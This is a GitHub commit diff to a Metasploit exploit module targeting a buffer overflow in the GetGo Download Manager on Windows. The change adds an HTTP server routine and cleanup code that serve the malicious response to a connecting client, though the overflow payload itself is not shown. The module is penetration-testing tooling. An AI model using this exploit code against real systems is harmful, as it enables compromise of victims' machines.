Skip to content

Commit e3450d7

Browse files
committed
Merge pull request #3 from wchen-r7/pr4588_update
Support configurable resource for getgodm_http_response_bof
2 parents ef0be94 + 5790477 commit e3450d7

File tree

1 file changed

+85
-1
lines changed

1 file changed

+85
-1
lines changed

modules/exploits/windows/browser/getgodm_http_response_bof.rb

Lines changed: 85 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -37,7 +37,8 @@ def initialize(info = {})
3737
],
3838
'DefaultOptions' =>
3939
{
40-
'ExitFunction' => 'process'
40+
'ExitFunction' => 'process',
41+
'URIPATH' => "/shakeitoff.mp3"
4142
},
4243
'Platform' => 'win',
4344
'Payload' =>
@@ -59,6 +60,89 @@ def initialize(info = {})
5960
'DefaultTarget' => 0))
6061
end
6162

63+
#
64+
# Handle the HTTP request and return a response. Code borrorwed from:
65+
# msf/core/exploit/http/server.rb
66+
#
67+
def start_http(opts={})
68+
# Ensture all dependencies are present before initializing HTTP
69+
use_zlib
70+
71+
comm = datastore['ListenerComm']
72+
if (comm.to_s == "local")
73+
comm = ::Rex::Socket::Comm::Local
74+
else
75+
comm = nil
76+
end
77+
78+
# Default the server host / port
79+
opts = {
80+
'ServerHost' => datastore['SRVHOST'],
81+
'ServerPort' => datastore['HTTPPORT'],
82+
'Comm' => comm
83+
}.update(opts)
84+
85+
# Start a new HTTP server
86+
@http_service = Rex::ServiceManager.start(
87+
Rex::Proto::Http::Server,
88+
opts['ServerPort'].to_i,
89+
opts['ServerHost'],
90+
datastore['SSL'],
91+
{
92+
'Msf' => framework,
93+
'MsfExploit' => self,
94+
},
95+
opts['Comm'],
96+
datastore['SSLCert']
97+
)
98+
99+
@http_service.server_name = datastore['HTTP::server_name']
100+
101+
# Default the procedure of the URI to on_request_uri if one isn't
102+
# provided.
103+
uopts = {
104+
'Proc' => Proc.new { |cli, req|
105+
on_request_uri(cli, req)
106+
},
107+
'Path' => resource_uri
108+
}.update(opts['Uri'] || {})
109+
110+
proto = (datastore["SSL"] ? "https" : "http")
111+
print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
112+
113+
if (opts['ServerHost'] == '0.0.0.0')
114+
print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
115+
end
116+
117+
# Add path to resource
118+
@service_path = uopts['Path']
119+
@http_service.add_resource(uopts['Path'], uopts)
120+
121+
# As long as we have the http_service object, we will keep the ftp server alive
122+
while @http_service
123+
select(nil, nil, nil, 1)
124+
end
125+
end
126+
127+
128+
#
129+
# Kill HTTP/FTP (shut them down and clear resources)
130+
#
131+
def cleanup
132+
super
133+
stop_service
134+
135+
begin
136+
@http_service.remove_resource(datastore['URIPATH'])
137+
@http_service.deref
138+
@http_service.stop
139+
@http_service.close
140+
@http_service = nil
141+
rescue
142+
end
143+
end
144+
145+
62146
def on_request_uri(cli, request)
63147

64148
print_status("Client connected...")

0 commit comments

Comments
 (0)